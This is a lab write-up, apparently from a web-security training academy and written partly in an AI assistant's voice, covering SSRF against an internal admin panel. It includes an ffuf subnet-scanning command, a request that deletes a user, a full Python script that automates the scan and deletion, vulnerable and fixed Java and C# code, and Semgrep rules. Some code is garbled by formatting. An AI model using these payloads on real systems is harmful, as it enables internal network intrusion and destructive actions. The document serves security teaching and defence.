Lab 02: Basic SSRF against another back-end system
1. Executive Summary
Vulnerability: Server-Side Request Forgery (SSRF) targeting internal networks.
Description: The application’s stock check feature accepts a user-controlled URL and fetches its contents. While the server might block or not run services on localhost, it fails to restrict outbound requests to its own private local area network (LAN). Attackers can abuse this feature to systematically scan internal IP ranges (like 192.168.0.X) to discover hidden administrative interfaces, databases, or unpatched internal microservices that are otherwise shielded from the public internet.
Impact: Network Reconnaissance and Internal Compromise. An attacker can map the internal network topology, bypass external firewalls, and execute state-changing requests on deeply nested, unprotected internal systems.
2. The Attack
Objective: Scan the 192.168.0.X subnet to find a hidden admin interface on port 8080, then use it to delete the user carlos.
- Reconnaissance (Intercept & Inspect):
- I triggered the “Check stock” functionality on a product page.
- I intercepted the
POST /product/stockrequest in Burp Suite. - I noted the
stockApiparameter containing a URL.
- Internal Network Scanning (The Fuzz):
- Knowing the target subnet was
192.168.0.X, I needed to find which specific IP address hosted the admin panel. I utilized the
ffufcommand you provided to rapidly iterate through the last octet (1-255):Bash1 2 3 4 5
ffuf -X POST -w ./last_octet.txt \ -u https://LAB-ID.web-security-academy.net/product/stock \ -H "Content-Type: application/x-www-form-urlencoded" \ -d 'stockApi=http%3a//192.168.0.FUZZ%3a8080/admin' \ -mc 200,302
- Result: The fuzzer returned a hit (e.g.,
192.168.0.153) with a200 OKstatus, confirming the admin interface was live at that internal IP.
- Knowing the target subnet was
- Exploitation:
- I went to Burp Repeater.
I modified the
stockApiparameter to point to the newly discovered internal host and appended the deletion endpoint:stockApi=http://192.168.0.153:8080/admin/delete?username=carlos- I sent the request. The vulnerable backend server reached into the internal network, hit the admin panel, and executed the deletion.
3. Code Review
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
try {
// REALISTIC OVERSIGHT: The developer expects a valid partner API URL
// but fails to check if the resolved IP resolves to a private/internal subnet.
URL url = new URL(stockApi);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// Setting a timeout, but still allowing the connection to initiate
connection.setConnectTimeout(3000);
connection.setRequestMethod("GET");
InputStream inputStream = connection.getInputStream();
String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
return ResponseEntity.ok(response);
} catch (IOException e) {
return ResponseEntity.status(500).body("Could not reach stock service.");
}
}
Technical Flow & Syntax Explanation:
@RequestParam String stockApi: The application dynamically binds the user’s input directly to a string variable.new URL(stockApi): The string is parsed into a URL. The Java standard library does not inherently block private RFC 1918 IP addresses (like192.168.x.xor10.x.x.x).url.openConnection(): This is the execution sink. The backend server actively opens a TCP connection to the attacker-supplied IP address. If the IP is within the internal network, the server’s routing table allows it to connect, bypassing the perimeter firewall.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
// REALISTIC OVERSIGHT: Using a generic HttpClient without a custom
// HttpMessageHandler to filter out private IP ranges.
using (var client = new HttpClient())
{
try
{
client.Timeout = TimeSpan.FromSeconds(3);
var response = await client.GetStringAsync(stockApi);
return Content(response, "text/html");
}
catch (TaskCanceledException)
{
// Catching timeouts when scanning dead internal IPs
return StatusCode(504, "Gateway Timeout");
}
catch (HttpRequestException)
{
return StatusCode(500, "Internal Server Error");
}
}
}
Technical Flow & Syntax Explanation:
[FromForm] string stockApi: The framework extracts the untrusted URL from the HTTP POST body.client.GetStringAsync(stockApi): The genericHttpClientattempts to resolve the hostname or IP and issue a GET request. Because it runs within the server’s network namespace, it has full line-of-sight to the192.168.0.0/24subnet, facilitating the internal port scan.
4. The Fix
Explanation of the Fix:
Relying on URL parsing and IP blacklisting is notoriously difficult to secure against SSRF (due to DNS rebinding, IPv6 obfuscation, etc.). The most secure approach is an Indirect Object Reference. Instead of accepting a URL, the application should accept an identifier (like a Store ID) and use it to look up the pre-configured, trusted URL from a safe server-side map or database.
Secure Java
Java
#
`// Pre-configured list of allowed internal endpoints private static final Map<String, String> APPROVED_STOCK_ENDPOINTS = Map.of( “store_1”, “http://internal-stock-1.api:8080/check”, “store_2”, “http://internal-stock-2.api:8080/check” );
@PostMapping(“/product/stock”) public ResponseEntity
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (targetUrl == null) {
return ResponseEntity.badRequest().body("Invalid store identifier.");
}
URL url = new URL(targetUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
InputStream inputStream = connection.getInputStream();
String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
return ResponseEntity.ok(response);
} catch (IOException e) {
return ResponseEntity.status(500).body("Error reaching stock service.");
} }`
Technical Flow & Syntax Explanation:
Map<String, String> APPROVED_STOCK_ENDPOINTS: This map acts as a strict, hardcoded allowlist.APPROVED_STOCK_ENDPOINTS.get(storeId): The attacker supplies a harmless string (e.g.,"store_1"). The server uses this to look up the actual URL. Because the attacker cannot injecthttp://192.168.0.xinto this map, the SSRF vulnerability is entirely neutralized.
Secure C#
C#
#
`private readonly Dictionary<string, string> _allowedStockApis = new() { { “London”, “http://internal-stock-eu.api:8080/check” }, { “Paris”, “http://internal-stock-eu2.api:8080/check” } };
[HttpPost(“product/stock”)] public async Task
1
2
3
4
5
6
7
8
9
10
11
12
using (var client = new HttpClient())
{
try
{
var response = await client.GetStringAsync(internalUrl);
return Content(response, "text/html");
}
catch (HttpRequestException)
{
return StatusCode(500, "Error fetching stock information");
}
} }`
Technical Flow & Syntax Explanation:
TryGetValue(locationId, out var internalUrl): This safely attempts to fetch the trusted URL based on the user’s key. If the user submits an IP address or a malicious URL, the dictionary lookup fails, and the request is safely aborted before any network calls are made.
5. Automation
An asyncio Python script that replicates your ffuf methodology to scan the internal subnet, locate the live admin panel, and execute the deletion payload.
Python
#
`#!/usr/bin/env python3 import argparse import asyncio import aiohttp import sys
The internal subnet we are targeting
SUBNET = “192.168.0.” PORT = “8080”
async def check_host(session, url, octet, target_user): # Construct the SSRF payload for this specific IP target_ip = f”{SUBNET}{octet}” ssrf_payload = f”http://{target_ip}:{PORT}/admin”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = {"stockApi": ssrf_payload}
try:
# Send POST request to the vulnerable endpoint
async with session.post(url, data=data, timeout=3) as resp:
text = await resp.text()
# If we get a 200 OK and see the admin panel, we found the live host
if resp.status == 200 and "Admin panel" in text:
print(f"[+] Found live admin interface at: {target_ip}")
# Execute the deletion
delete_payload = f"http://{target_ip}:{PORT}/admin/delete?username={target_user}"
print(f"[*] Sending deletion payload: {delete_payload}")
await session.post(url, data={"stockApi": delete_payload})
print(f"[!!!] SUCCESS: User '{target_user}' deleted via {target_ip}.")
# Signal to cancel other tasks
return True
except asyncio.TimeoutError:
pass
except Exception:
pass
return False
async def exploit_ssrf_internal_scan(url, target_user): stock_endpoint = f”{url.rstrip(‘/’)}/product/stock” print(f”[*] Starting internal network scan on {SUBNET}0/24…”)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async with aiohttp.ClientSession() as session:
# Create tasks for IPs 1 through 255
tasks = []
for i in range(1, 256):
tasks.append(asyncio.create_task(check_host(session, stock_endpoint, i, target_user)))
# Process tasks as they complete
for coro in asyncio.as_completed(tasks):
success = await coro
if success:
print("[*] Exploit complete. Terminating remaining scans.")
# Cancel remaining pending tasks to exit cleanly
for t in tasks:
t.cancel()
return
print("[-] Scan finished. Could not find the internal admin interface.")
def main(): parser = argparse.ArgumentParser(description=”Automate SSRF internal network scanning.”) parser.add_argument(“url”, help=”Lab URL”) parser.add_argument(“–user”, default=”carlos”, help=”User to delete (default: carlos)”) args = parser.parse_args()
1
2
3
4
5
# Run the async event loop
try:
asyncio.run(exploit_ssrf_internal_scan(args.url, args.user))
except KeyboardInterrupt:
print("\n[*] Script aborted by user.")
if name == “main”: main()`
6. Static Analysis (Semgrep)
Java Rule
YAML
#
`rules:
- id: java-ssrf-url-openconnection languages: [java] message: | Potential Server-Side Request Forgery (SSRF). An external URL is constructed from user input and fetched by the server. Use an allowlist or indirect object references to prevent accessing arbitrary internal hosts. severity: ERROR patterns:
- pattern-inside: | public $RET $METHOD(…, String $URL, …) { … }
- pattern-either:
- pattern: | URL $U = new URL($URL); … $U.openConnection();
- pattern: | URL $U = new URL($URL); … $U.openStream();`
Technical Flow & Syntax Explanation:
public $RET $METHOD(..., String $URL, ...): Narrows the context to controller methods where$URLis likely bound to user input (like@RequestParam).$U.openConnection()/$U.openStream(): Identifies the explicit sink where the backend server initiates the network call. It flags the code because the target destination is fundamentally controlled by the untrusted$URLvariable.
C# Rule
YAML
#
`rules:
- id: csharp-ssrf-httpclient languages: [csharp] message: | Potential SSRF detected. ‘HttpClient’ is making a request using a URL derived from method parameters. Ensure the URL is validated against a strict allowlist or constructed entirely server-side. severity: ERROR patterns:
- pattern-inside: | public $RET $METHOD(…, string $URL, …) { … }
- pattern-either:
- pattern: $CLIENT.GetStringAsync($URL)
- pattern: $CLIENT.GetAsync($URL)
- pattern: $CLIENT.PostAsync($URL, …)`
Technical Flow & Syntax Explanation:
string $URL: Targets method parameters carrying the malicious string from the client.$CLIENT.GetAsync($URL): Captures the exact moment the ASP.NET application instructs theHttpClientto fire off the network request. The rule warns the developer that routing this HTTP call based on raw user input bypasses network boundaries.
Would you like to move on to the next SSRF lab, which involves bypassing backend filters or utilizing open redirects?
